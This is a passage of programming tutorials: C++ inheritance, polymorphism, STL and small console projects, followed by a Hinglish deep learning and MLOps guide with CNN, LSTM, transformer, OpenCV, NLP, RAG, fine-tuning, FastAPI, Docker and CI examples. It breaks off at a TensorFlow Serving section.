class Dog : public Animal {
private:
    string breed;
public:
    Dog(string n, int a, string b) : Animal(n, a), breed(b) {
        cout << "Dog created" << endl;
    }
    // Override base class method
    void eat() {
        cout << name << " the dog is eating dog food" << endl;
    }
    // Child-specific method
    void bark() {
        cout << name << " is barking: Woof! Woof!" << endl;
    }
    void displayDog() {
        display();  // Call base class method
        cout << "Breed: " << breed << endl;
    }
};
// Another derived class
class Cat : public Animal {
public:
    Cat(string n, int a) : Animal(n, a) {}
    void meow() {
        cout << name << " says: Meow!" << endl;
    }
};
int main() {
    cout << "=== Dog Example ===" << endl;
    Dog dog("Max", 3, "Golden Retriever");
    dog.eat();      // Overridden method
    dog.sleep();    // Inherited method
    dog.bark();     // Dog's own method
```

```
    dog.displayDog();
    cout << "\n=== Cat Example ===" << endl;
    Cat cat("Whiskers", 2);
    cat.eat();
    cat.sleep();
    cat.meow();
    return 0;
}
```

---

8. C++ POLYMORPHISM

>> Virtual Functions

WHAT:

Polymorphism - same interface, different behavior

EXAMPLES:

```
#include <iostream>
using namespace std;
// Base class
class Shape {
public:
    // Virtual function - allows overriding
    virtual double area() {
        return 0;
    }
    // Pure virtual function (abstract class)
    virtual void draw() = 0;
    // Virtual destructor
    virtual ~Shape() {
        cout << "Shape destroyed" << endl;
    }
};
// Derived class - Circle
class Circle : public Shape {
private:
    double radius;
public:
    Circle(double r) : radius(r) {}
    double area() override {
        return 3.14159 * radius * radius;
    }
    void draw() override {
        cout << "Drawing Circle with radius " << radius << endl;
    }
};
// Derived class - Rectangle
class Rectangle : public Shape {
private:
    double width, height;
public:
    Rectangle(double w, double h) : width(w), height(h) {}
    double area() override {
        return width * height;
    }
    void draw() override {
        cout << "Drawing Rectangle " << width << "x" << height << endl;
    }
};
int main() {
    // Polymorphism - base class pointer to derived objects
    Shape* shapes[2];
    shapes[0] = new Circle(5.0);
    shapes[1] = new Rectangle(4.0, 6.0);
    for (int i = 0; i < 2; i++) {
        shapes[i]->draw();
        cout << "Area: " << shapes[i]->area() << endl;
        cout << endl;
    }
    // Clean up
    for (int i = 0; i < 2; i++) {
        delete shapes[i];
    }
    return 0;
```

```
}
```

9. C++ STANDARD TEMPLATE LIBRARY (STL)

>> STL Containers

WHAT:

C++ STL - Reusable containers and algorithms

EXAMPLES:

```
#include <iostream>
#include <vector>
#include <list>
#include <map>
#include <set>
#include <algorithm>
#include <string>
using namespace std;
int main() {
    // 1. Vector - Dynamic array
    cout << "=== VECTOR ===" << endl;
    vector<int> numbers = {1, 2, 3, 4, 5};
    numbers.push_back(6);  // Add at end
    numbers.pop_back();     // Remove from end
    cout << "Vector elements: ";
    for (int n : numbers) {
        cout << n << " ";
    }
    cout << endl;
    cout << "Size: " << numbers.size() << endl;
    // 2. List - Doubly linked list
    cout << "\n=== LIST ===" << endl;
    list<string> names = {"Raj", "Priya", "Amit"};
    names.push_front("First");
    names.push_back("Last");
    cout << "List elements: ";
    for (string name : names) {
        cout << name << " ";
    }
    cout << endl;
    // 3. Map - Key-value pairs
    cout << "\n=== MAP ===" << endl;
    map<string, int> ages;
    ages["Raj"] = 25;
    ages["Priya"] = 22;
    ages["Amit"] = 28;
    for (auto& pair : ages) {
        cout << pair.first << ": " << pair.second << endl;
    }
    // 4. Set - Unique elements
    cout << "\n=== SET ===" << endl;
    set<int> uniqueNumbers = {5, 2, 8, 2, 5, 1};
    for (int n : uniqueNumbers) {
        cout << n << " ";
    }
    cout << endl;
    // 5. Algorithms
    cout << "\n=== ALGORITHMS ===" << endl;
    vector<int> nums = {5, 2, 8, 1, 9, 3};
    // Sort
    sort(nums.begin(), nums.end());
    cout << "Sorted: ";
    for (int n : nums) cout << n << " ";
    cout << endl;
    // Find
    auto it = find(nums.begin(), nums.end(), 8);
    if (it != nums.end()) {
```

```
        cout << "Found 8 at position: " << distance(nums.begin(), it) << endl;
    }
    // Reverse
    reverse(nums.begin(), nums.end());
    cout << "Reversed: ";
    for (int n : nums) cout << n << " ";
    cout << endl;
    return 0;
}
```

10. PRACTICAL C++ PROJECTS

>> Project 1 - Student Management System

WHAT:

Complete student record management system

CODE:

```
#include <iostream>
#include <vector>
#include <string>
#include <algorithm>
using namespace std;

class Student {
private:
    int rollNo;
    string name;
    double marks;

public:
    Student(int r, string n, double m) : rollNo(r), name(n), marks(m) {}

    int getRollNo() { return rollNo; }
    string getName() { return name; }
    double getMarks() { return marks; }

    void display() {
        cout << "Roll No: " << rollNo << " | Name: " << name << " | Marks: " << marks << endl;
    }
};

class StudentManager {
private:
    vector<Student> students;

public:
    void addStudent() {
        int roll;
        string name;
        double marks;

        cout << "Enter Roll No: ";
        cin >> roll;
        cin.ignore();
        cout << "Enter Name: ";
        getline(cin, name);
        cout << "Enter Marks: ";
        cin >> marks;

        students.push_back(Student(roll, name, marks));
        cout << "Student added successfully!\n";
    }

    void displayAll() {
        if (students.empty()) {
            cout << "No students found!\n";
            return;
        }
        cout << "\n--- Student List ---\n";
        for (auto& s : students) {
            s.display();
        }
    }
```

```
    void searchStudent() {
        int roll;
        cout << "Enter Roll No to search: ";
        cin >> roll;

        for (auto& s : students) {
            if (s.getRollNo() == roll) {
                cout << "Student found:\n";
                s.display();
                return;
            }
        }
        cout << "Student not found!\n";
    }

    void calculateAverage() {
        if (students.empty()) {
            cout << "No students!\n";
            return;
        }
        double total = 0;
        for (auto& s : students) {
            total += s.getMarks();
        }
        cout << "Average Marks: " << total / students.size() << endl;
    }
};

int main() {
    StudentManager manager;
    int choice;

    do {
        cout << "\n=== Student Management System ===\n";
        cout << "1. Add Student\n";
        cout << "2. Display All Students\n";
        cout << "3. Search Student\n";
        cout << "4. Calculate Average Marks\n";
        cout << "5. Exit\n";
        cout << "Enter choice: ";
        cin >> choice;

        switch (choice) {
            case 1: manager.addStudent(); break;
            case 2: manager.displayAll(); break;
            case 3: manager.searchStudent(); break;
            case 4: manager.calculateAverage(); break;
            case 5: cout << "Goodbye!\n"; break;
            default: cout << "Invalid choice!\n";
        }
    } while (choice != 5);

    return 0;
}
```

>> Project 2 - File Operations

WHAT:

File read/write operations in C++

CODE:

```
#include <iostream>
#include <fstream>
#include <string>
using namespace std;
```

```
int main() {
    // Write to file
    ofstream outFile("data.txt");
    if (outFile.is_open()) {
        outFile << "Hello from C++!\n";
        outFile << "This is line 2\n";
        outFile << "This is line 3\n";
        outFile.close();
        cout << "File written successfully!\n";
    }

    // Read from file
    ifstream inFile("data.txt");
    string line;
    if (inFile.is_open()) {
        cout << "\nFile content:\n";
        while (getline(inFile, line)) {
            cout << line << endl;
        }
        inFile.close();
    }

    // Append to file
    ofstream appendFile("data.txt", ios::app);
    if (appendFile.is_open()) {
        appendFile << "This line is appended!\n";
        appendFile.close();
        cout << "\nFile appended!\n";
    }

    return 0;
}
```

Deep Learning and MLOps Complete Guide

CNN, RNN, Transformers, LLM, RAG, TensorFlow Serving, PyTorch

Generated: 23-March-2026

1. DEEP LEARNING FUNDAMENTALS

>> What is Deep Learning

WHAT:

Deep Learning Artificial Neural Networks ka subset hai jo multiple layers use karta hai data se hierarchical features learn karne ke liye. Ye traditional ML se better performance deta hai complex problems me.

KEY CONCEPTS:

* Neural Networks - Layers of neurons with activation functions
* Backpropagation - Error ko backward propagate karna
* Activation Functions - ReLU, Sigmoid, Tanh, Softmax
* Loss Functions - MSE, Cross-Entropy, Binary Cross-Entropy
* Optimizers - SGD, Adam, RMSprop
* Regularization - Dropout, BatchNorm, L1/L2

---

2. CNN (CONVOLUTIONAL NEURAL NETWORKS)

>> What is CNN

WHAT:

CNN images aur spatial data ke liye design kiya gaya architecture hai. Yeh convolution layers use karta hai features extract karne ke liye jaise edges, shapes, objects.

KEY LAYERS:

* Conv2D - Feature extraction using filters/kernels
* MaxPooling2D - Downsampling, reduce dimensions
* Flatten - Convert 2D to 1D for dense layers
* Dense - Fully connected layers for classification

>> CNN Complete Code

WHAT:

CNN for image classification on CIFAR-10

CODE:

```
import tensorflow as tf
from tensorflow.keras import layers, models
from tensorflow.keras.datasets import cifar10
from tensorflow.keras.utils import to_categorical

# Load and preprocess data
(x_train, y_train), (x_test, y_test) = cifar10.load_data()
x_train = x_train.astype('float32') / 255.0
x_test = x_test.astype('float32') / 255.0
y_train = to_categorical(y_train, 10)
y_test = to_categorical(y_test, 10)

# Build CNN Model
model = models.Sequential([
    # First Convolutional Block
    layers.Conv2D(32, (3, 3), activation='relu', padding='same', input_shape=(32, 32, 3)),
    layers.BatchNormalization(),
    layers.Conv2D(32, (3, 3), activation='relu', padding='same'),
    layers.MaxPooling2D((2, 2)),
    layers.Dropout(0.25),

    # Second Convolutional Block
    layers.Conv2D(64, (3, 3), activation='relu', padding='same'),
    layers.BatchNormalization(),
    layers.Conv2D(64, (3, 3), activation='relu', padding='same'),
    layers.MaxPooling2D((2, 2)),
    layers.Dropout(0.25),

    # Third Convolutional Block
    layers.Conv2D(128, (3, 3), activation='relu', padding='same'),
    layers.BatchNormalization(),
    layers.Conv2D(128, (3, 3), activation='relu', padding='same'),
    layers.MaxPooling2D((2, 2)),
    layers.Dropout(0.25),

    # Dense Layers
    layers.Flatten(),
    layers.Dense(256, activation='relu'),
    layers.BatchNormalization(),
    layers.Dropout(0.5),
    layers.Dense(10, activation='softmax')
])
```

```
# Compile model
model.compile(
    optimizer='adam',
    loss='categorical_crossentropy',
    metrics=['accuracy']
)

# Train model
history = model.fit(
    x_train, y_train,
    batch_size=64,
    epochs=50,
    validation_data=(x_test, y_test),
    callbacks=[
        tf.keras.callbacks.EarlyStopping(patience=5, restore_best_weights=True),
        tf.keras.callbacks.ReduceLROnPlateau(factor=0.5, patience=3)
    ]
)

# Evaluate
test_loss, test_acc = model.evaluate(x_test, y_test)
print(f'Test accuracy: {test_acc:.4f}')

# Save model
model.save('cnn_cifar10_model.keras')
```

3. RNN AND LSTM (RECURRENT NEURAL NETWORKS)

>> What is RNN/LSTM

WHAT:

RNN sequential data (text, time series) ke liye design kiya gaya hai. LSTM (Long Short-Term Memory) RNN ka advanced version hai jo long-term dependencies yaad rakh sakta hai.

KEY FEATURES:

* Sequential processing - Data order matters
* Memory cells - Previous information remember
* Gates (LSTM) - Forget, Input, Output gates
* Bidirectional - Forward and backward context

>> LSTM for Sentiment Analysis

WHAT:

LSTM for text sentiment classification

CODE:

```
import tensorflow as tf
from tensorflow.keras.preprocessing.text import Tokenizer
from tensorflow.keras.preprocessing.sequence import pad_sequences
import numpy as np

# Sample data
texts = [
    'I love this movie, it is amazing',
    'This film is terrible, waste of time',
    'Great acting and beautiful cinematography',
    'Poor story, bad direction, disappointed',
    'Absolutely fantastic, best movie ever'
]
labels = [1, 0, 1, 0, 1]  # 1=positive, 0=negative

# Tokenization
tokenizer = Tokenizer(num_words=1000, oov_token='<OOV>')
tokenizer.fit_on_texts(texts)
sequences = tokenizer.texts_to_sequences(texts)
padded = pad_sequences(sequences, maxlen=20, padding='post', truncating='post')

# Build LSTM Model
model = tf.keras.Sequential([
    tf.keras.layers.Embedding(1000, 64, input_length=20),
    tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(64, return_sequences=True)),
    tf.keras.layers.Bidirectional(tf.keras.layers.LSTM(32)),
    tf.keras.layers.Dropout(0.5),
    tf.keras.layers.Dense(32, activation='relu'),
    tf.keras.layers.Dropout(0.3),
    tf.keras.layers.Dense(1, activation='sigmoid')
])

# Compile
model.compile(
    optimizer='adam',
    loss='binary_crossentropy',
    metrics=['accuracy']
)

# Train
history = model.fit(
    padded, np.array(labels),
    epochs=20, validation_split=0.2
```

```
)

# Predict new text
new_texts = ['This movie is wonderful', 'I hated this film']
new_seq = tokenizer.texts_to_sequences(new_texts)
new_padded = pad_sequences(new_seq, maxlen=20, padding='post')
predictions = model.predict(new_padded)
for text, pred in zip(new_texts, predictions):
    sentiment = 'Positive' if pred > 0.5 else 'Negative'
    print(f'{text} -> {sentiment} (confidence: {pred[0]:.2f})')
```

4. TRANSFORMERS AND ATTENTION

>> What is Transformer

WHAT:

Transformer architecture pure attention mechanism par based hai, RNNs ki jagah. Ye parallel processing allow karta hai aur state-of-the-art results deta hai NLP aur vision tasks me.

KEY COMPONENTS:

* Self-Attention - Relationship between words in sequence
* Multi-Head Attention - Multiple attention perspectives
* Positional Encoding - Position information add karna
* Feed Forward Networks - MLP layers
* Layer Normalization - Normalize activations

>> Transformer from Scratch

WHAT:

Simple transformer implementation

CODE:

```
import torch
import torch.nn as nn
import torch.nn.functional as F
import math

class MultiHeadAttention(nn.Module):
    def __init__(self, d_model, num_heads):
        super().__init__()
        self.d_model = d_model
        self.num_heads = num_heads
        self.d_k = d_model // num_heads

        self.W_q = nn.Linear(d_model, d_model)
        self.W_k = nn.Linear(d_model, d_model)
        self.W_v = nn.Linear(d_model, d_model)
        self.W_o = nn.Linear(d_model, d_model)

    def forward(self, query, key, value, mask=None):
        batch_size = query.size(0)

        # Linear projections
        Q = self.W_q(query).view(batch_size, -1, self.num_heads, self.d_k).transpose(1, 2)
        K = self.W_k(key).view(batch_size, -1, self.num_heads, self.d_k).transpose(1, 2)
        V = self.W_v(value).view(batch_size, -1, self.num_heads, self.d_k).transpose(1, 2)

        # Scaled dot-product attention
        scores = torch.matmul(Q, K.transpose(-2, -1)) / math.sqrt(self.d_k)
        if mask is not None:
            scores = scores.masked_fill(mask == 0, -1e9)
        attention = F.softmax(scores, dim=-1)
        context = torch.matmul(attention, V)

        # Concatenate heads
        context = context.transpose(1, 2).contiguous().view(batch_size, -1, self.d_model)
        return self.W_o(context)

class TransformerBlock(nn.Module):
    def __init__(self, d_model, num_heads, d_ff, dropout=0.1):
        super().__init__()
        self.attention = MultiHeadAttention(d_model, num_heads)
        self.norm1 = nn.LayerNorm(d_model)
        self.norm2 = nn.LayerNorm(d_model)
```

```
        self.ff = nn.Sequential(
            nn.Linear(d_model, d_ff),
            nn.ReLU(),
            nn.Linear(d_ff, d_model)
        )
        self.dropout = nn.Dropout(dropout)

    def forward(self, x, mask=None):
        # Self-attention with residual
        attn_output = self.attention(x, x, x, mask)
        x = self.norm1(x + self.dropout(attn_output))

        # Feed-forward with residual
        ff_output = self.ff(x)
        x = self.norm2(x + self.dropout(ff_output))
        return x

class Transformer(nn.Module):
    def __init__(self, vocab_size, d_model, num_heads, num_layers, d_ff, max_len, num_classes):
        super().__init__()
        self.embedding = nn.Embedding(vocab_size, d_model)
        self.pos_encoding = self.create_pos_encoding(max_len, d_model)
        self.layers = nn.ModuleList([
            TransformerBlock(d_model, num_heads, d_ff) for _ in range(num_layers)
        ])
        self.fc = nn.Linear(d_model, num_classes)

    def create_pos_encoding(self, max_len, d_model):
        pos_encoding = torch.zeros(max_len, d_model)
        for pos in range(max_len):
            for i in range(0, d_model, 2):
                pos_encoding[pos, i] = math.sin(pos / (10000 ** (2 * i / d_model)))
                pos_encoding[pos, i+1] = math.cos(pos / (10000 ** (2 * (i+1) / d_model)))
        return pos_encoding.unsqueeze(0)

    def forward(self, x):
        x = self.embedding(x) + self.pos_encoding[:, :x.size(1)]
        for layer in self.layers:
            x = layer(x)
        x = x.mean(dim=1)  # Global average pooling
        return self.fc(x)
```

5. COMPUTER VISION (OPENCV ADVANCED)

>> OpenCV Advanced Operations

WHAT:

Advanced computer vision operations with OpenCV

CODE:

```
import cv2
import numpy as np
import matplotlib.pyplot as plt

# 1. Image Processing
def image_processing_advanced(image_path):
    img = cv2.imread(image_path)
    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)

    # Edge detection (Canny)
    edges = cv2.Canny(gray, 100, 200)

    # Contour detection
    contours, _ = cv2.findContours(edges, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)
    cv2.drawContours(img, contours, -1, (0, 255, 0), 2)

    # Feature detection (SIFT)
    sift = cv2.SIFT_create()
    keypoints, descriptors = sift.detectAndCompute(gray, None)
    img_keypoints = cv2.drawKeypoints(gray, keypoints, None)

    # Histogram equalization
    equalized = cv2.equalizeHist(gray)

    # Gaussian blur
    blurred = cv2.GaussianBlur(img, (5, 5), 0)

    return edges, img_keypoints, equalized, blurred

# 2. Object Detection with YOLO
def yolo_object_detection(image_path):
    # Load YOLO
    net = cv2.dnn.readNet('yolov3.weights', 'yolov3.cfg')
    layer_names = net.getLayerNames()
    output_layers = [layer_names[i - 1] for i in net.getUnconnectedOutLayers()]

    img = cv2.imread(image_path)
    height, width = img.shape[:2]

    # Prepare blob
    blob = cv2.dnn.blobFromImage(img, 0.00392, (416, 416), (0, 0, 0), True, crop=False)
    net.setInput(blob)
    outputs = net.forward(output_layers)

    # Process detections
    boxes, confidences, class_ids = [], [], []
    for output in outputs:
        for detection in output:
            scores = detection[5:]
            class_id = np.argmax(scores)
            confidence = scores[class_id]
            if confidence > 0.5:
                center_x = int(detection[0] * width)
                center_y = int(detection[1] * height)
                w = int(detection[2] * width)
                h = int(detection[3] * height)
                x = int(center_x - w / 2)
```

```
                y = int(center_y - h / 2)
                boxes.append([x, y, w, h])
                confidences.append(float(confidence))
                class_ids.append(class_id)

    # NMS
    indexes = cv2.dnn.NMSBoxes(boxes, confidences, 0.5, 0.4)

    # Draw boxes
    classes = ['person', 'bicycle', 'car', 'motorcycle', 'airplane', 'bus', 'train', 'truck']
    for i in range(len(boxes)):
        if i in indexes:
            x, y, w, h = boxes[i]
            label = classes[class_ids[i]]
            cv2.rectangle(img, (x, y), (x+w, y+h), (0, 255, 0), 2)
            cv2.putText(img, f'{label} {confidences[i]:.2f}', (x, y-10),
                        cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)

    return img

# 3. Face Detection and Recognition
def face_recognition_demo():
    # Load face detector
    face_cascade = cv2.CascadeClassifier(cv2.data.haarcascades + 'haarcascade_frontalface_default.xml')

    # Start webcam
    cap = cv2.VideoCapture(0)

    while True:
        ret, frame = cap.read()
        gray = cv2.cvtColor(frame, cv2.COLOR_BGR2GRAY)

        # Detect faces
        faces = face_cascade.detectMultiScale(gray, 1.1, 4)

        for (x, y, w, h) in faces:
            cv2.rectangle(frame, (x, y), (x+w, y+h), (0, 255, 0), 2)
            cv2.putText(frame, 'Face', (x, y-10), cv2.FONT_HERSHEY_SIMPLEX, 0.5, (0, 255, 0), 2)

        cv2.imshow('Face Detection', frame)
        if cv2.waitKey(1) & 0xFF == ord('q'):
            break

    cap.release()
    cv2.destroyAllWindows()

# 4. Image Segmentation
def image_segmentation(image_path):
    # Using K-Means for segmentation
    img = cv2.imread(image_path)
    img_rgb = cv2.cvtColor(img, cv2.COLOR_BGR2RGB)

    # Reshape image
    pixels = img_rgb.reshape((-1, 3))
    pixels = np.float32(pixels)

    # K-Means clustering
    criteria = (cv2.TERM_CRITERIA_EPS + cv2.TERM_CRITERIA_MAX_ITER, 100, 0.2)
    k = 5
    _, labels, centers = cv2.kmeans(pixels, k, None, criteria, 10, cv2.KMEANS_RANDOM_CENTERS)

    # Convert back to image
    centers = np.uint8(centers)
    segmented = centers[labels.flatten()]
    segmented = segmented.reshape(img_rgb.shape)
```

```
    return segmented
```

6. NLP (NATURAL LANGUAGE PROCESSING)

>> Complete NLP Pipeline

WHAT:

Complete NLP pipeline with transformers

CODE:

```
import torch
from transformers import AutoTokenizer, AutoModelForSequenceClassification, pipeline
from transformers import AutoModelForQuestionAnswering, AutoModelForTokenClassification
import nltk
from nltk.corpus import stopwords
from nltk.tokenize import word_tokenize, sent_tokenize

# Download NLTK data
nltk.download('punkt')
nltk.download('stopwords')

class NLPPipeline:
    def __init__(self):
        self.sentiment_model = pipeline('sentiment-analysis')
        self.tokenizer = AutoTokenizer.from_pretrained('bert-base-uncased')

    def text_preprocessing(self, text):
        """Clean and tokenize text"""
        # Lowercase
        text = text.lower()
        # Remove special characters
        import re
        text = re.sub(r'[^a-zA-Z\s]', '', text)
        # Tokenize
        tokens = word_tokenize(text)
        # Remove stopwords
        stop_words = set(stopwords.words('english'))
        tokens = [t for t in tokens if t not in stop_words]
        return ' '.join(tokens)

    def sentiment_analysis(self, texts):
        """Sentiment analysis using transformers"""
        results = self.sentiment_model(texts)
        return results

    def named_entity_recognition(self, text):
        """NER using transformers"""
        ner_pipeline = pipeline('ner', model='dbmdz/bert-large-cased-finetuned-conll03-english')
        entities = ner_pipeline(text)
        return entities

    def text_summarization(self, text, max_length=150):
        """Text summarization"""
        summarizer = pipeline('summarization', model='facebook/bart-large-cnn')
        summary = summarizer(text, max_length=max_length, min_length=30, do_sample=False)
        return summary[0]['summary_text']

    def question_answering(self, context, question):
        """Question answering"""
        qa_pipeline = pipeline('question-answering', model='distilbert-base-cased-distilled-squad')
        result = qa_pipeline(question=question, context=context)
        return result

    def text_classification(self, texts, labels):
        """Custom text classification using BERT"""
        model = AutoModelForSequenceClassification.from_pretrained('bert-base-uncased', num_labels=len(set(labels)))
        # Fine-tuning code here
```

```
        pass

# Usage example
nlp = NLPPipeline()

# Sentiment analysis
reviews = [
    'This product is absolutely fantastic, I love it!',
    'Terrible quality, waste of money, very disappointed'
]
sentiments = nlp.sentiment_analysis(reviews)
print('Sentiment Analysis:', sentiments)

# Text summarization
long_text = """
Artificial intelligence (AI) is intelligence demonstrated by machines,
in contrast to the natural intelligence displayed by humans and animals.
Leading AI textbooks define the field as the study of 'intelligent agents':
any device that perceives its environment and takes actions that maximize
its chance of successfully achieving its goals."""
summary = nlp.text_summarization(long_text)
print('\nSummary:', summary)

# Question answering
context = "The Eiffel Tower is a wrought-iron lattice tower on the Champ de Mars in Paris, France. It was constructed from
1887 to 1889."
answer = nlp.question_answering(context, "When was the Eiffel Tower built?")
print('\nAnswer:', answer['answer'])
```

7. LLM FINE-TUNING (GPT, LLaMA)

>> LLM Fine-tuning Guide

WHAT:

How to fine-tune Large Language Models like GPT, LLaMA

CODE:

```
import torch
from transformers import AutoTokenizer, AutoModelForCausalLM, TrainingArguments, Trainer
from transformers import DataCollatorForLanguageModeling
from datasets import Dataset

class LLMFineTuner:
    def __init__(self, model_name='gpt2'):
        self.model_name = model_name
        self.tokenizer = AutoTokenizer.from_pretrained(model_name)
        self.tokenizer.pad_token = self.tokenizer.eos_token
        self.model = AutoModelForCausalLM.from_pretrained(model_name)

    def prepare_data(self, texts):
        """Prepare data for fine-tuning"""
        dataset = Dataset.from_dict({'text': texts})

        def tokenize_function(examples):
            return self.tokenizer(examples['text'], truncation=True, padding='max_length', max_length=512)

        tokenized_dataset = dataset.map(tokenize_function, batched=True)
        return tokenized_dataset

    def fine_tune(self, train_dataset, output_dir='./results', epochs=3):
        """Fine-tune the model"""
        training_args = TrainingArguments(
            output_dir=output_dir,
            overwrite_output_dir=True,
            num_train_epochs=epochs,
            per_device_train_batch_size=4,
            per_device_eval_batch_size=4,
            warmup_steps=500,
            weight_decay=0.01,
            logging_dir='./logs',
            logging_steps=10,
            save_steps=500,
        )

        data_collator = DataCollatorForLanguageModeling(
            tokenizer=self.tokenizer,
            mlm=False,
        )

        trainer = Trainer(
            model=self.model,
            args=training_args,
            train_dataset=train_dataset,
            data_collator=data_collator,
        )

        trainer.train()
        trainer.save_model()
        self.tokenizer.save_pretrained(output_dir)

    def generate_text(self, prompt, max_length=100):
        """Generate text using fine-tuned model"""
        inputs = self.tokenizer(prompt, return_tensors='pt')
        outputs = self.model.generate(
```

```
            inputs.input_ids,
            max_length=max_length,
            num_return_sequences=1,
            temperature=0.7,
            do_sample=True,
            pad_token_id=self.tokenizer.eos_token_id
        )
        return self.tokenizer.decode(outputs[0], skip_special_tokens=True)

# Usage
trainer = LLMFineTuner('gpt2')

# Sample training data (custom domain)
training_texts = [
    'Customer service: Always respond within 24 hours with a friendly tone',
    'Product returns: Accept returns within 30 days with original packaging',
    'Warranty: 1-year limited warranty covering manufacturing defects'
]

# Prepare and fine-tune
train_dataset = trainer.prepare_data(training_texts)
# trainer.fine_tune(train_dataset, epochs=3)  # Uncomment to train

# Generate text
generated = trainer.generate_text('Customer service policy:')
print('Generated:', generated)
```

8. RAG (RETRIEVAL AUGMENTED GENERATION)

>> Complete RAG Implementation

WHAT:

RAG system jo retrieval aur generation combine karta hai

CODE:

```
import torch
from transformers import AutoTokenizer, AutoModelForCausalLM, pipeline
from sentence_transformers import SentenceTransformer
import chromadb
from chromadb.utils import embedding_functions

class RAGSystem:
    def __init__(self, collection_name='documents'):
        # Initialize embedding model
        self.embedding_model = SentenceTransformer('all-MiniLM-L6-v2')

        # Initialize ChromaDB
        self.client = chromadb.Client()
        self.collection = self.client.create_collection(
            name=collection_name,
            embedding_function=embedding_functions.SentenceTransformerEmbeddingFunction()
        )

        # Initialize LLM for generation
        self.llm = pipeline('text-generation', model='gpt2', max_new_tokens=200)

    def add_documents(self, documents, ids):
        """Add documents to vector database"""
        self.collection.add(
            documents=documents,
            ids=ids
        )

    def retrieve(self, query, n_results=3):
        """Retrieve relevant documents"""
        results = self.collection.query(
            query_texts=[query],
            n_results=n_results
        )
        return results['documents'][0]

    def generate(self, query, context):
        """Generate response using context"""
        prompt = f"""Context: {' '.join(context)}\n\nQuestion: {query}\n\nAnswer:"""
        response = self.llm(prompt)[0]['generated_text']
        return response

    def query(self, question):
        """Complete RAG pipeline"""
        # Step 1: Retrieve relevant documents
        retrieved_docs = self.retrieve(question)

        # Step 2: Generate answer with context
        answer = self.generate(question, retrieved_docs)

        return {
            'question': question,
            'retrieved_documents': retrieved_docs,
            'answer': answer
        }

# Initialize RAG system
```

```
rag = RAGSystem()

# Add knowledge base
documents = [
    'Python is a high-level programming language known for its simplicity and readability.',
    'Machine learning is a subset of AI that enables systems to learn from data.',
    'Deep learning uses neural networks with multiple layers to learn hierarchical representations.',
    'Natural Language Processing helps computers understand and generate human language.',
    'Transformers are a neural network architecture that uses attention mechanisms.'
]
ids = [f'doc_{i}' for i in range(len(documents))]
rag.add_documents(documents, ids)

# Query
result = rag.query('What is Python used for?')
print(f"Question: {result['question']}")
print(f"Retrieved: {result['retrieved_documents']}")
print(f"Answer: {result['answer']}")
```

9. MLOPS - MODEL DEPLOYMENT

>> Model Deployment Pipeline

WHAT:

Complete MLOps pipeline for model deployment

CODE:

```
import mlflow
import mlflow.sklearn
from sklearn.ensemble import RandomForestClassifier
from sklearn.model_selection import train_test_split
from sklearn.metrics import accuracy_score, precision_score, recall_score
import joblib
import os

# 1. Experiment Tracking with MLflow
class MLflowExperiment:
    def __init__(self, experiment_name='model_experiment'):
        mlflow.set_experiment(experiment_name)
        self.experiment = mlflow.get_experiment_by_name(experiment_name)

    def train_and_log(self, X_train, X_test, y_train, y_test, params):
        with mlflow.start_run() as run:
            # Log parameters
            mlflow.log_params(params)

            # Train model
            model = RandomForestClassifier(**params)
            model.fit(X_train, y_train)

            # Evaluate
            y_pred = model.predict(X_test)
            accuracy = accuracy_score(y_test, y_pred)
            precision = precision_score(y_test, y_pred, average='weighted')
            recall = recall_score(y_test, y_pred, average='weighted')

            # Log metrics
            mlflow.log_metrics({
                'accuracy': accuracy,
                'precision': precision,
                'recall': recall
            })

            # Log model
            mlflow.sklearn.log_model(model, 'model')

            return model, run.info.run_id

# 2. Model Versioning with DVC
class ModelVersioning:
    def __init__(self, model_path='models/'):
        self.model_path = model_path
        os.makedirs(model_path, exist_ok=True)

    def save_model(self, model, version):
        filename = f'{self.model_path}model_v{version}.pkl'
        joblib.dump(model, filename)
        return filename

    def load_model(self, version):
        filename = f'{self.model_path}model_v{version}.pkl'
        return joblib.load(filename)

# 3. Model Serving with FastAPI
```

```
from fastapi import FastAPI, HTTPException
from pydantic import BaseModel
import uvicorn

app = FastAPI(title='Model Serving API')

class PredictionRequest(BaseModel):
    features: list
    model_version: str = 'latest'

class PredictionResponse(BaseModel):
    prediction: int
    probability: list
    model_version: str

@app.get('/health')
def health_check():
    return {'status': 'healthy'}

@app.post('/predict', response_model=PredictionResponse)
def predict(request: PredictionRequest):
    try:
        # Load model based on version
        model = model_versioning.load_model(request.model_version)

        # Make prediction
        import numpy as np
        features = np.array(request.features).reshape(1, -1)
        prediction = model.predict(features)[0]
        probability = model.predict_proba(features)[0].tolist()

        return PredictionResponse(
            prediction=int(prediction),
            probability=probability,
            model_version=request.model_version
        )
    except Exception as e:
        raise HTTPException(status_code=500, detail=str(e))

# 4. Containerization with Docker
dockerfile_content = """
FROM python:3.9-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install --no-cache-dir -r requirements.txt

COPY . .

EXPOSE 8000

CMD ["uvicorn", "main:app", "--host", "0.0.0.0", "--port", "8000"]
"""

requirements = """
fastapi
uvicorn
scikit-learn
joblib
mlflow
pandas
numpy
"""

# 5. CI/CD Pipeline (GitHub Actions)
```

```
github_actions_yml = """
name: Model Training and Deployment

on:
  push:
    branches: [ main ]
  pull_request:
    branches: [ main ]

jobs:
  train-and-deploy:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@v2
    - name: Set up Python
      uses: actions/setup-python@v2
      with:
        python-version: '3.9'
    - name: Install dependencies
      run: |
        pip install -r requirements.txt
    - name: Train model
      run: |
        python train.py
    - name: Test model
      run: |
        python test.py
    - name: Deploy
      run: |
        docker build -t mymodel .
        docker push mymodel:latest
"""
```

10. TENSORFLOW SERVING AND PRODUCTION

>> TensorFlow Serving Setup

WHAT:

TensorFlow Serving for production model deployment

CODE:

```
# 1. Save model in SavedModel format
import tensorflow as tf

# Create and train a simple model
model = tf.keras.Sequential([
    tf.keras.layers.Dense(64, activation='relu', input_shape=(10,)),
    tf.keras.layers.Dropout(0.2),
    tf.keras.layers.Dense(32, activation='relu'),
    tf.keras.layers.Dense(1, activation='sigmoid')
])

model.compile(optimizer='adam', loss='binary_crossentropy', metrics=['accuracy'])

# Save in SavedModel format
model.save('models/my_model/1')

# 2. Install TensorFlow Serving
tf_serving_commands = """
# Install TensorFlow Serving
